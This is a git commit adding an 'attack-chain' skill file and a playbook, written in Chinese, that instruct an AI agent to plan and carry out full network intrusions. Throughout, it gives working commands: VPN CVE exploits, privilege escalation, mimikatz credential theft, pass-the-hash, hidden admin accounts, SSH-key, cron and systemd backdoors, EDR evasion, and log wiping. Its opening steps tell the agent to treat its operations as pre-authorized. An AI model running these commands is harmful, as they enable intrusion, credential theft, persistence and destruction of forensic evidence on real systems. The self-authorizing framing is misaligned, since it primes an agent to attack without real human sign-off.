reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
651
reverse-skill-repo/skills/attack-chain/SKILL.md
Normal file
651
reverse-skill-repo/skills/attack-chain/SKILL.md
Normal file
@@ -0,0 +1,651 @@
|
||||
---
|
||||
name: attack-chain
|
||||
description: Use for authorized multi-stage attack-path planning and orchestration when a task spans reconnaissance, initial access, privilege escalation, lateral movement, or impact assessment. Route single-stage tasks directly to their specialist skill.
|
||||
---
|
||||
# Attack Chain Orchestration Skill
|
||||
|
||||
## ACTION REQUIRED(读完后立刻执行)
|
||||
|
||||
1. `NOW`: 读取 `../field-journal/precedent-pentest.md` — 确认本 skill 的操作是已授权的常规操作
|
||||
2. `NOW`: **创建/更新 case**(`../scripts/case-init.ps1`)并完成 `scope.md`(`../ops/scope-contract.md`);`auth.status!=granted` 禁止 ACT
|
||||
3. `NOW`: 以 **lead** 角色规划阶段(`../ops/role-map.md`),写入 specialist_roles
|
||||
4. `NEXT`: 读取 `../tool-index.md`,校验工具可用性和实际路径
|
||||
5. `NEXT`: 缺工具时调用 bootstrap,不要猜路径
|
||||
6. `ACT`: 按 `references/lifecycle-checklist.md` 过阶段门闩;每阶段更新 `timeline.md` + `workitems.md`(`../ops/timeline-workitem.md`);发现提升为 Evidence/Finding
|
||||
7. 结束:`docs-generator` 报告必须含 Evidence 链
|
||||
|
||||
> 多阶段攻击路径规划与执行的总指挥。当任务需要"从 A 打到 B"的完整链路时,本 Skill 负责编排各阶段、协调子 Skill、规划攻击路径。
|
||||
> 不是"红队专属"——任何需要跨阶段组合的渗透场景都从这里开始。
|
||||
|
||||
---
|
||||
|
||||
## 何时路由到本 Skill
|
||||
|
||||
以下场景**必须**先经过本 Skill 做全链路规划,再分发到具体子 Skill 执行:
|
||||
|
||||
| 场景 | 为什么需要编排 |
|
||||
|------|--------------|
|
||||
| "帮我做一次完整的渗透测试" | 需要规划从信息收集到报告的全流程 |
|
||||
| "从外网打到域控" | 跨越边界突破→提权→横向→AD 多个阶段 |
|
||||
| "HW 攻防演练" | 需要完整攻击链 + 隐蔽性 + 痕迹清理 |
|
||||
| "评估这个目标的攻击面" | 需要多维度信息收集 + 路径规划 |
|
||||
| "我拿到了一个 webshell,下一步怎么办" | 需要从当前据点规划后续路径 |
|
||||
| "帮我规划攻击路径" | 明确需要路径编排 |
|
||||
| "从这个漏洞能打到什么程度" | 需要评估漏洞的链式利用价值 |
|
||||
| "Bug Bounty 持续监控" | 需要自动化多阶段流程 |
|
||||
| "内网渗透全流程" | 横向移动 + 提权 + 域攻击组合 |
|
||||
| "近源渗透方案" | 物理接入 + 内网渗透组合 |
|
||||
| "供应链攻击路径" | 跨组织多跳攻击 |
|
||||
| "钓鱼 + 后渗透" | 初始访问 + 后续利用组合 |
|
||||
|
||||
**单阶段任务不需要经过本 Skill**:
|
||||
- 只做端口扫描 → 直接去 `pentest-tools/`
|
||||
- 只做 SQL 注入 → 直接去 `pentest-tools/`
|
||||
- 只做 APK 逆向 → 直接去 `apk-reverse/`
|
||||
- 只做域渗透 → 直接去 `pentest-tools/references/network-attack-defense.md`
|
||||
|
||||
---
|
||||
|
||||
## 编排原则
|
||||
|
||||
### 本 Skill 的角色
|
||||
|
||||
```
|
||||
用户提出多阶段任务
|
||||
↓
|
||||
attack-chain/SKILL.md(本文件)
|
||||
↓ 规划攻击路径、确定阶段顺序
|
||||
↓ 评估每阶段所需工具和方法
|
||||
↓
|
||||
分发到具体子 Skill 执行:
|
||||
├── pentest-tools/ → 工具调用、漏洞利用
|
||||
├── apk-reverse/ → 移动端渗透
|
||||
├── js-reverse/ → Web 前端突破
|
||||
├── reverse-engineering/ → 二进制分析
|
||||
├── ida-reverse/ → 深度逆向
|
||||
└── browser-automation/ → 自动化操作
|
||||
↓
|
||||
每阶段完成后回到本 Skill 评估下一步
|
||||
↓
|
||||
全部完成 → docs-generator 生成报告
|
||||
```
|
||||
|
||||
### 路径规划决策树
|
||||
|
||||
```
|
||||
拿到目标后:
|
||||
1. 目标是什么?(Web/内网/云/移动/IoT)
|
||||
2. 当前有什么?(外部视角/已有凭据/已有据点)
|
||||
3. 最终目标是什么?(域控/数据/特定系统/证明影响)
|
||||
4. 约束条件?(时间/隐蔽性/不可触碰的系统)
|
||||
↓
|
||||
根据以上信息规划最短路径
|
||||
↓
|
||||
一条路走不通 → 回到本 Skill 重新规划备选路径
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 完整攻击链阶段
|
||||
|
||||
---
|
||||
|
||||
## 一、信息收集阶段(Reconnaissance)
|
||||
|
||||
### 1.1 企业数字资产测绘
|
||||
|
||||
```bash
|
||||
# 子公司关联域名发现
|
||||
subfinder -d target.com -o subdomains.txt
|
||||
amass enum -d target.com -passive -o amass_results.txt
|
||||
|
||||
# 合并去重
|
||||
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt
|
||||
|
||||
# 存活探测
|
||||
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt
|
||||
|
||||
# 端口扫描(全端口)
|
||||
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
|
||||
nmap -sV -sC -iL targets.txt -oA nmap_results
|
||||
```
|
||||
|
||||
**实战要点**:
|
||||
- 通过企查查/天眼查获取子公司列表,扩大攻击面
|
||||
- 关注测试环境(test.、dev.、staging.)和新上线系统
|
||||
- 证书透明度日志(crt.sh)发现隐藏域名
|
||||
|
||||
### 1.2 敏感信息泄露狩猎
|
||||
|
||||
```bash
|
||||
# GitHub 搜索
|
||||
# org:Company filename:.env password
|
||||
# org:Company filename:config.yml secret
|
||||
# org:Company "jdbc:mysql" password
|
||||
|
||||
# Google Dork
|
||||
# site:target.com filetype:sql
|
||||
# site:target.com inurl:admin
|
||||
# site:target.com ext:conf|cfg|ini
|
||||
|
||||
# JS 文件中的 API Key
|
||||
cat js_urls.txt | while read url; do
|
||||
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
|
||||
done
|
||||
```
|
||||
|
||||
**高价值目标**:
|
||||
- 云服务 AK/SK(阿里云、AWS、Azure)
|
||||
- 数据库连接字符串
|
||||
- JWT 密钥
|
||||
- 内部 API 文档
|
||||
- VPN/堡垒机凭据
|
||||
|
||||
### 1.3 员工信息画像
|
||||
|
||||
**社工字典生成规则**:
|
||||
```
|
||||
{姓名拼音}{年份} → zhangsan2024
|
||||
{姓名首字母}{部门缩写} → zs_dev
|
||||
{工号}@{域名} → 10086@target.com
|
||||
{姓名}{常见后缀} → zhangsan@123, zhangsan!@#
|
||||
```
|
||||
|
||||
**信息来源**:
|
||||
- 脉脉/LinkedIn 部门架构
|
||||
- 企业公众号/官网团队介绍
|
||||
- 招聘信息(技术栈暴露)
|
||||
- 学术论文(邮箱暴露)
|
||||
|
||||
### 1.4 技术栈指纹识别
|
||||
|
||||
```bash
|
||||
# Web 指纹
|
||||
whatweb -i alive.txt --log-json=fingerprint.json
|
||||
httpx -l alive.txt -tech-detect -json -o tech.json
|
||||
|
||||
# 特定框架探测
|
||||
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt
|
||||
|
||||
# CMS 识别
|
||||
wpscan --url https://target.com --enumerate p,t,u
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 二、边界突破阶段(Initial Access)
|
||||
|
||||
### 2.1 Web 漏洞利用(高频突破点)
|
||||
|
||||
| 漏洞类型 | 检测工具 | 利用方式 |
|
||||
|---------|---------|---------|
|
||||
| SQL 注入 | sqlmap | 数据提取 → 写 shell → OS 命令 |
|
||||
| SSTI | sstimap | 模板注入 → RCE |
|
||||
| 文件上传 | 手工 + Burp | Webshell → 反弹 shell |
|
||||
| 反序列化 | ysoserial/marshalsec | Java/PHP/Python RCE |
|
||||
| SSRF | 手工 | 内网探测 → 云元数据 → AK/SK |
|
||||
| 未授权访问 | nuclei | Spring Actuator / Nacos / Redis |
|
||||
| XSS → Cookie | xsstrike | 管理员会话劫持 |
|
||||
|
||||
```bash
|
||||
# SQL 注入自动化
|
||||
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent
|
||||
|
||||
# SSTI 检测
|
||||
sstimap -u "https://target.com/search?q=test"
|
||||
|
||||
# Nuclei 批量扫描
|
||||
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt
|
||||
```
|
||||
|
||||
### 2.2 供应链攻击
|
||||
|
||||
**攻击路径**:
|
||||
1. 识别目标使用的第三方组件/服务商
|
||||
2. 攻击供应商获取代码签名/更新推送权限
|
||||
3. 通过合法更新通道投递恶意载荷
|
||||
|
||||
**常见入口**:
|
||||
- 开源组件投毒(npm/pip/maven)
|
||||
- SaaS 服务商 API 滥用
|
||||
- 外包人员权限利用
|
||||
- 共享 IT 服务商横向渗透
|
||||
|
||||
### 2.3 钓鱼攻击
|
||||
|
||||
**邮件钓鱼**:
|
||||
```
|
||||
主题模板:
|
||||
- [紧急] VPN 证书即将过期,请立即更新
|
||||
- [IT通知] 邮箱存储空间不足,请清理
|
||||
- [HR] 2024年度绩效考核结果查询
|
||||
- [财务] 报销系统升级,请重新登录确认
|
||||
```
|
||||
|
||||
**载荷类型**:
|
||||
- Office 宏文档(.docm/.xlsm)
|
||||
- LNK 快捷方式(伪装 PDF)
|
||||
- HTML 走私(HTML Smuggling)
|
||||
- ISO/IMG 镜像(绕过 MOTW)
|
||||
- OneNote 嵌入脚本
|
||||
|
||||
**OAuth 钓鱼**(2025 新趋势):
|
||||
- 构造恶意 OAuth 应用请求权限
|
||||
- 用户授权后获取邮箱/文件访问权限
|
||||
- 无需密码,绕过 MFA
|
||||
|
||||
### 2.4 近源渗透(Physical Access)
|
||||
|
||||
| 手法 | 工具 | 效果 |
|
||||
|------|------|------|
|
||||
| BadUSB | Rubber Ducky / WiFi Ducky | 键盘注入 → 反弹 shell |
|
||||
| 恶意充电宝 | O.MG Cable | 伪装数据线植入后门 |
|
||||
| WiFi 钓鱼 | Fluxion / WiFi Pineapple | 伪造热点 → 凭据捕获 |
|
||||
| RFID 克隆 | Proxmark3 | 门禁卡复制 → 物理进入 |
|
||||
| 网络植入 | Raspberry Pi / LAN Turtle | 内网持久接入点 |
|
||||
|
||||
```bash
|
||||
# Fluxion WiFi 钓鱼
|
||||
fluxion # 交互式选择目标 AP → 创建伪造热点 → 捕获 WPA 密码
|
||||
|
||||
# BadUSB 联动 Cobalt Strike
|
||||
# 通过 USB 注入 PowerShell 下载器 → 上线 C2
|
||||
```
|
||||
|
||||
### 2.5 VPN/远程接入突破
|
||||
|
||||
```bash
|
||||
# Pulse Secure VPN(CVE-2019-11510)
|
||||
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"
|
||||
|
||||
# Fortinet VPN(CVE-2018-13379)
|
||||
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
|
||||
|
||||
# 通用:密码喷洒
|
||||
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post
|
||||
```
|
||||
|
||||
### 2.6 云服务突破
|
||||
|
||||
```bash
|
||||
# AWS S3 桶枚举
|
||||
aws s3 ls s3://target-bucket --no-sign-request
|
||||
|
||||
# 云元数据 SSRF
|
||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
|
||||
# Azure AD 密码喷洒
|
||||
# 使用 MSOLSpray / Spray 工具
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 三、权限提升阶段(Privilege Escalation)
|
||||
|
||||
### 3.1 Windows 提权
|
||||
|
||||
| 技术 | 条件 | 工具 |
|
||||
|------|------|------|
|
||||
| Potato 系列 | SeImpersonate 权限 | SweetPotato / GodPotato / PrintSpoofer |
|
||||
| 内核漏洞 | 未打补丁 | watson / wesng 检测 |
|
||||
| 服务路径劫持 | 不带引号的服务路径 | PowerUp |
|
||||
| DLL 劫持 | 可写 DLL 搜索路径 | Process Monitor |
|
||||
| AlwaysInstallElevated | 注册表配置 | msiexec 安装恶意 MSI |
|
||||
| 计划任务 | 可写任务脚本 | schtasks 替换 |
|
||||
|
||||
```powershell
|
||||
# 检测 SeImpersonate
|
||||
whoami /priv | findstr "SeImpersonate"
|
||||
|
||||
# Potato 提权
|
||||
.\GodPotato.exe -cmd "cmd /c whoami"
|
||||
|
||||
# 自动化检测
|
||||
.\winPEAS.exe
|
||||
```
|
||||
|
||||
### 3.2 Linux 提权
|
||||
|
||||
```bash
|
||||
# SUID 检测
|
||||
find / -perm -4000 -type f 2>/dev/null
|
||||
|
||||
# sudo 滥用
|
||||
sudo -l
|
||||
# 常见可利用:vim, find, python, nmap, less, awk, perl
|
||||
|
||||
# sudo vim 提权
|
||||
sudo vim -c ':!/bin/bash'
|
||||
|
||||
# sudo find 提权
|
||||
sudo find / -exec /bin/bash \;
|
||||
|
||||
# 内核漏洞
|
||||
uname -r # 检查版本
|
||||
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)
|
||||
|
||||
# 自动化检测
|
||||
./linpeas.sh
|
||||
```
|
||||
|
||||
### 3.3 数据库提权
|
||||
|
||||
```sql
|
||||
-- MSSQL xp_cmdshell
|
||||
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
||||
EXEC xp_cmdshell 'whoami';
|
||||
|
||||
-- MySQL UDF 提权
|
||||
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
|
||||
SELECT sys_exec('id');
|
||||
|
||||
-- PostgreSQL
|
||||
COPY (SELECT '') TO PROGRAM 'id';
|
||||
```
|
||||
|
||||
### 3.4 云权限提升
|
||||
|
||||
```bash
|
||||
# AWS IAM 枚举
|
||||
aws iam list-attached-user-policies --user-name compromised-user
|
||||
# 寻找 iam:PassRole + lambda:CreateFunction → 管理员权限
|
||||
|
||||
# Azure AD
|
||||
# 全局管理员 → 所有订阅控制
|
||||
# 应用管理员 → 添加凭据到服务主体
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 四、横向移动阶段(Lateral Movement)
|
||||
|
||||
### 4.1 凭据获取
|
||||
|
||||
```bash
|
||||
# Mimikatz(Windows)
|
||||
mimikatz# sekurlsa::logonpasswords
|
||||
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt
|
||||
|
||||
# Linux 凭据
|
||||
cat /etc/shadow
|
||||
cat ~/.bash_history | grep -i pass
|
||||
find / -name "*.conf" -exec grep -l "password" {} \;
|
||||
|
||||
# NTLM Hash 提取
|
||||
secretsdump.py domain/user:password@dc_ip
|
||||
```
|
||||
|
||||
### 4.2 Pass-the-Hash / Pass-the-Ticket
|
||||
|
||||
```bash
|
||||
# PTH 横向
|
||||
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec
|
||||
|
||||
# Kerberoasting
|
||||
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password
|
||||
|
||||
# AS-REP Roasting
|
||||
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
|
||||
|
||||
# 金票据
|
||||
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt
|
||||
```
|
||||
|
||||
### 4.3 隐蔽横向技术
|
||||
|
||||
```bash
|
||||
# WMI 无文件执行
|
||||
wmiexec.py domain/admin:password@target_ip "whoami"
|
||||
|
||||
# DCOM 远程执行
|
||||
dcomexec.py domain/admin:password@target_ip "whoami"
|
||||
|
||||
# WinRM
|
||||
evil-winrm -i target_ip -u admin -H <NTLM_HASH>
|
||||
|
||||
# PsExec(会留痕)
|
||||
psexec.py domain/admin:password@target_ip
|
||||
|
||||
# SSH 隧道(Linux 环境)
|
||||
ssh -D 1080 user@pivot_host # SOCKS 代理
|
||||
ssh -L 3389:internal_host:3389 user@pivot_host # 端口转发
|
||||
```
|
||||
|
||||
### 4.4 NTLM Relay
|
||||
|
||||
```bash
|
||||
# 关闭 Responder 的 SMB/HTTP
|
||||
# 编辑 Responder.conf: SMB = Off, HTTP = Off
|
||||
|
||||
# 启动 Responder 捕获
|
||||
responder -I eth0
|
||||
|
||||
# NTLM Relay 到目标
|
||||
ntlmrelayx.py -tf targets.txt -smb2support
|
||||
|
||||
# Coercer 强制认证
|
||||
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip
|
||||
```
|
||||
|
||||
### 4.5 AD 攻击路径
|
||||
|
||||
```bash
|
||||
# BloodHound 数据收集
|
||||
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
|
||||
|
||||
# 常见攻击路径:
|
||||
# 1. 用户 → GenericAll → 目标用户 → 重置密码
|
||||
# 2. 用户 → WriteDacl → 目标 OU → 添加权限
|
||||
# 3. 计算机 → 约束委派 → 模拟任意用户
|
||||
# 4. 用户 → DCSync 权限 → 导出所有 Hash
|
||||
|
||||
# Certipy AD CS 攻击
|
||||
certipy find -u user@domain -p password -dc-ip dc_ip
|
||||
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 五、权限维持阶段(Persistence)
|
||||
|
||||
### 5.1 Windows 持久化
|
||||
|
||||
| 技术 | 隐蔽性 | 检测难度 |
|
||||
|------|:---:|:---:|
|
||||
| 计划任务 | 中 | 低 |
|
||||
| 注册表 Run 键 | 低 | 低 |
|
||||
| WMI 事件订阅 | 高 | 高 |
|
||||
| DLL 劫持 | 高 | 中 |
|
||||
| 影子账户 | 中 | 中 |
|
||||
| Golden Ticket | 极高 | 极高 |
|
||||
| DSRM 后门 | 极高 | 极高 |
|
||||
|
||||
```powershell
|
||||
# WMI 事件订阅(高隐蔽)
|
||||
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
|
||||
Name = "CoreFilter"
|
||||
EventNameSpace = "root\cimv2"
|
||||
QueryLanguage = "WQL"
|
||||
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
|
||||
}
|
||||
|
||||
# 影子账户
|
||||
net user support$ P@ssw0rd /add /active:yes
|
||||
net localgroup administrators support$ /add
|
||||
# 修改注册表 F 值克隆 RID
|
||||
```
|
||||
|
||||
### 5.2 Linux 持久化
|
||||
|
||||
```bash
|
||||
# SSH 密钥植入
|
||||
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
|
||||
|
||||
# Crontab 后门
|
||||
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -
|
||||
|
||||
# LD_PRELOAD 劫持
|
||||
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload
|
||||
|
||||
# PAM 后门
|
||||
# 修改 pam_unix.so 添加万能密码
|
||||
|
||||
# Systemd 服务
|
||||
cat > /etc/systemd/system/update.service << 'EOF'
|
||||
[Unit]
|
||||
Description=System Update Service
|
||||
[Service]
|
||||
ExecStart=/tmp/.hidden/beacon
|
||||
Restart=always
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
systemctl enable update.service
|
||||
```
|
||||
|
||||
### 5.3 云环境持久化
|
||||
|
||||
```bash
|
||||
# AWS Lambda 后门
|
||||
# 创建定时触发的 Lambda 函数,回连 C2
|
||||
|
||||
# Azure AD 应用注册
|
||||
# 创建应用 → 添加密钥凭据 → 授予 Graph API 权限
|
||||
|
||||
# 容器后门
|
||||
# 修改基础镜像 → 所有新容器自带后门
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 六、EDR/AV 绕过(Evasion)
|
||||
|
||||
### 6.1 核心绕过思路
|
||||
|
||||
| 层面 | 技术 | 说明 |
|
||||
|------|------|------|
|
||||
| 静态检测 | 加密/混淆/自定义加载器 | 避免签名匹配 |
|
||||
| 行为检测 | 间接系统调用/Unhooking | 绕过 API Hook |
|
||||
| 内存检测 | 模块踩踏/堆加密 | 避免内存扫描 |
|
||||
| 网络检测 | 域前置/合法服务隧道 | 混入正常流量 |
|
||||
| 日志检测 | ETW Patching/日志清除 | 减少痕迹 |
|
||||
|
||||
### 6.2 实用绕过技术
|
||||
|
||||
```
|
||||
1. Shellcode 加载器自定义(不用公开工具)
|
||||
2. 系统调用直接调用(绕过 ntdll hook)
|
||||
3. 进程注入选择低监控进程(如 RuntimeBroker.exe)
|
||||
4. C2 流量走 HTTPS + 域前置 / Cloudflare Workers
|
||||
5. 内存中执行,不落盘(Fileless)
|
||||
6. 利用合法签名程序加载(LOLBins)
|
||||
```
|
||||
|
||||
### 6.3 C2 框架选择
|
||||
|
||||
| 框架 | 特点 | 适用场景 |
|
||||
|------|------|---------|
|
||||
| Cobalt Strike | 成熟稳定,团队协作 | 大型红队行动 |
|
||||
| Sliver | 开源,Go 编写 | 预算有限 |
|
||||
| Havoc | 现代化,模块化 | 需要定制 |
|
||||
| Mythic | 多 agent 支持 | 跨平台 |
|
||||
| AdaptixC2 | Kali 2026.1 收录 | 快速部署 |
|
||||
|
||||
---
|
||||
|
||||
## 七、痕迹清理(Anti-Forensics)
|
||||
|
||||
```bash
|
||||
# Windows 日志清除
|
||||
wevtutil cl Security
|
||||
wevtutil cl System
|
||||
wevtutil cl Application
|
||||
|
||||
# Linux 日志清除
|
||||
echo > /var/log/auth.log
|
||||
echo > /var/log/syslog
|
||||
history -c && history -w
|
||||
|
||||
# 时间戳修改
|
||||
touch -t 202301010000 /path/to/file
|
||||
|
||||
# 内存清理
|
||||
# 确保 Mimikatz dump 已删除
|
||||
# 确保 C2 beacon 已退出
|
||||
# 确保临时文件已清除
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 红队行动铁律
|
||||
|
||||
### 三条底线
|
||||
|
||||
1. **所有操作必须获得书面授权**
|
||||
2. **数据渗出需进行匿名化处理**
|
||||
3. **清理所有攻击痕迹(包括内存驻留)**
|
||||
|
||||
### 行动纪律
|
||||
|
||||
- 每个操作前评估风险等级(低/中/高/严重)
|
||||
- 高风险操作前通知项目经理
|
||||
- 保持操作日志(时间、动作、结果)
|
||||
- 发现高危漏洞立即上报,不扩大利用
|
||||
- 不影响业务可用性(禁止 DoS)
|
||||
- 不访问/下载真实用户数据
|
||||
|
||||
### 典型失败案例
|
||||
|
||||
| 失败原因 | 后果 | 教训 |
|
||||
|---------|------|------|
|
||||
| 未清除 Mimikatz 内存 dump | 蓝队溯源完整攻击路径 | 操作后立即清理 |
|
||||
| C2 域名被威胁情报标记 | 首次连接即被拦截 | 使用新注册域名 + 域前置 |
|
||||
| 钓鱼邮件触发 DLP 告警 | 蓝队提前预警 | 测试邮件网关规则 |
|
||||
| 横向移动触发蜜罐 | 暴露攻击意图 | 先识别蜜罐再行动 |
|
||||
|
||||
---
|
||||
|
||||
## 工具速查表
|
||||
|
||||
### 信息收集
|
||||
`subfinder` `amass` `httpx` `naabu` `katana` `gau` `dnsx` `nmap` `whatweb` `wpscan`
|
||||
|
||||
### 漏洞利用
|
||||
`nuclei` `sqlmap` `sstimap` `xsstrike` `burpsuite` `metasploit`
|
||||
|
||||
### 权限提升
|
||||
`winPEAS` `linpeas` `GodPotato` `PrintSpoofer` `watson`
|
||||
|
||||
### 横向移动
|
||||
`mimikatz` `crackmapexec/netexec` `impacket` `bloodhound` `certipy` `coercer` `responder` `evil-winrm`
|
||||
|
||||
### C2 框架
|
||||
`cobalt-strike` `sliver` `havoc` `mythic` `adaptixc2`
|
||||
|
||||
### 近源渗透
|
||||
`fluxion` `aircrack-ng` `proxmark3` `rubber-ducky` `wifi-pineapple`
|
||||
|
||||
---
|
||||
|
||||
## 与本包其他 Skill 的关系
|
||||
|
||||
| 需求 | 路由到 |
|
||||
|------|--------|
|
||||
| Web 漏洞深度利用 | `pentest-tools/SKILL.md` |
|
||||
| 内网 AD 攻击详细步骤 | `pentest-tools/references/network-attack-defense.md` |
|
||||
| 逆向分析恶意样本 | `reverse-engineering/SKILL.md` |
|
||||
| APK 逆向(移动端渗透) | `apk-reverse/SKILL.md` |
|
||||
| JS 前端签名绕过 | `js-reverse/SKILL.md` |
|
||||
| 自动化群体渗透 | Pentest Swarm AI(`pentestswarm scan --swarm`) |
|
||||
| AI 辅助渗透 | `mcp-kali-server` / `metasploitmcp` / `hexstrike-ai` |
|
||||
| 报告生成 | `docs-generator/SKILL.md` |
|
||||
| 攻击路径图 | `diagram-generator/SKILL.md` |
|
||||
|
||||
|
||||
## 任务完成自检(声称完成前 MUST 通过)
|
||||
|
||||
- [ ] 我是否执行了工作流中的每一步(而不是只阅读)?
|
||||
- [ ] 我是否基于 `tool-index` 使用了真实工具路径?
|
||||
- [ ] 我是否产出了可复现证据(命令/脚本/截图/报告)?
|
||||
- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项?
|
||||
@@ -0,0 +1,126 @@
|
||||
# 攻击链 Playbook 速查
|
||||
|
||||
> 按目标类型选择对应 playbook,每个 playbook 定义了从初始访问到目标达成的标准路径。
|
||||
|
||||
---
|
||||
|
||||
## Playbook 1: 外网 Web 应用 → 域控
|
||||
|
||||
```
|
||||
1. 子域名枚举 + 端口扫描
|
||||
2. Web 指纹识别 → 找到已知漏洞组件
|
||||
3. 漏洞利用获取 Webshell / RCE
|
||||
4. 内网信息收集(ipconfig/ifconfig, arp, net user)
|
||||
5. 搭建隧道(frp/chisel/ssh)
|
||||
6. 内网扫描(存活主机、开放端口)
|
||||
7. 凭据获取(mimikatz/hashdump/配置文件)
|
||||
8. 横向移动(PTH/WMI/PsExec)
|
||||
9. 域信息收集(BloodHound)
|
||||
10. 域提权(Kerberoasting/DCSync/约束委派)
|
||||
11. 获取域控权限
|
||||
```
|
||||
|
||||
**关键工具链**: subfinder → httpx → nuclei → sqlmap/sstimap → frp → nmap → mimikatz → crackmapexec → bloodhound → certipy
|
||||
|
||||
---
|
||||
|
||||
## Playbook 2: 钓鱼 → 内网渗透
|
||||
|
||||
```
|
||||
1. 目标员工信息收集(LinkedIn/脉脉)
|
||||
2. 构造钓鱼邮件(伪造发件人/合法主题)
|
||||
3. 制作载荷(宏文档/LNK/ISO/HTML走私)
|
||||
4. 发送钓鱼邮件
|
||||
5. 等待上线(C2 beacon)
|
||||
6. 本地信息收集 + 提权
|
||||
7. 凭据提取
|
||||
8. 横向移动
|
||||
9. 持久化
|
||||
10. 目标达成
|
||||
```
|
||||
|
||||
**关键工具链**: theHarvester → gophish → msfvenom/cobalt-strike → mimikatz → bloodhound
|
||||
|
||||
---
|
||||
|
||||
## Playbook 3: 近源渗透 → 内网
|
||||
|
||||
```
|
||||
1. 物理踩点(WiFi 信号、门禁类型、USB 口)
|
||||
2. WiFi 攻击(Fluxion 伪造热点 / WPA 破解)
|
||||
或 BadUSB 植入(Rubber Ducky 键盘注入)
|
||||
或 网络植入(Raspberry Pi / LAN Turtle)
|
||||
3. 获取内网接入点
|
||||
4. 内网扫描
|
||||
5. 后续同 Playbook 1 的步骤 5-11
|
||||
```
|
||||
|
||||
**关键工具链**: fluxion/aircrack-ng → rubber-ducky → frp → nmap → crackmapexec
|
||||
|
||||
---
|
||||
|
||||
## Playbook 4: 云环境渗透
|
||||
|
||||
```
|
||||
1. 云资产发现(子域名 → CNAME → 云服务商)
|
||||
2. 存储桶枚举(S3/OSS/Blob 公开访问)
|
||||
3. SSRF → 云元数据(169.254.169.254)
|
||||
4. 获取临时凭据(AK/SK/Token)
|
||||
5. 云 API 枚举(IAM/EC2/Lambda/RDS)
|
||||
6. 权限提升(PassRole/AssumeRole)
|
||||
7. 横向移动(跨账户/跨区域)
|
||||
8. 数据获取
|
||||
```
|
||||
|
||||
**关键工具链**: subfinder → nuclei(ssrf) → aws-cli → pacu → ScoutSuite
|
||||
|
||||
---
|
||||
|
||||
## Playbook 5: Bug Bounty / SRC 快速打点
|
||||
|
||||
```
|
||||
1. 资产收集(子域名 + 端口 + JS 文件)
|
||||
2. 指纹识别 → 已知漏洞快速验证(nuclei)
|
||||
3. 参数发现(arjun/paramspider)
|
||||
4. 逐类测试:
|
||||
- IDOR/越权(改 ID/改角色)
|
||||
- SSRF(内网探测/云元数据)
|
||||
- SQL 注入(sqlmap)
|
||||
- XSS(xsstrike)
|
||||
- 文件上传(绕过检测)
|
||||
- 逻辑漏洞(支付/验证码/密码重置)
|
||||
5. 编写 PoC + 提交报告
|
||||
```
|
||||
|
||||
**关键工具链**: subfinder → httpx → nuclei → arjun → sqlmap → xsstrike → burpsuite
|
||||
|
||||
---
|
||||
|
||||
## Playbook 6: AD CS 证书攻击
|
||||
|
||||
```
|
||||
1. 发现 AD CS 服务(certipy find)
|
||||
2. 识别易受攻击的模板(ESC1-ESC8)
|
||||
3. 请求恶意证书
|
||||
4. 使用证书认证为目标用户
|
||||
5. 获取 NTLM Hash 或 TGT
|
||||
6. DCSync 导出所有凭据
|
||||
```
|
||||
|
||||
**关键工具链**: certipy → rubeus → mimikatz → secretsdump
|
||||
|
||||
---
|
||||
|
||||
## 通用决策矩阵
|
||||
|
||||
| 当前状态 | 下一步优先级 |
|
||||
|---------|-------------|
|
||||
| 只有目标域名 | 子域名枚举 → 端口扫描 → Web 指纹 |
|
||||
| 有 Web 漏洞 | 获取 shell → 内网信息收集 |
|
||||
| 有低权限 shell | 提权 → 凭据提取 |
|
||||
| 有一台内网机器 | 搭隧道 → 内网扫描 → 横向 |
|
||||
| 有域用户凭据 | BloodHound → 找攻击路径 |
|
||||
| 有域管 Hash | DCSync → Golden Ticket |
|
||||
| 有云 AK/SK | 枚举权限 → 提权 → 数据获取 |
|
||||
| 钓鱼上线 | 本地提权 → 凭据 → 横向 |
|
||||
| 近源接入 | 内网扫描 → 同上 |
|
||||
@@ -0,0 +1,133 @@
|
||||
# EDR/AV 绕过与隐蔽操作速查
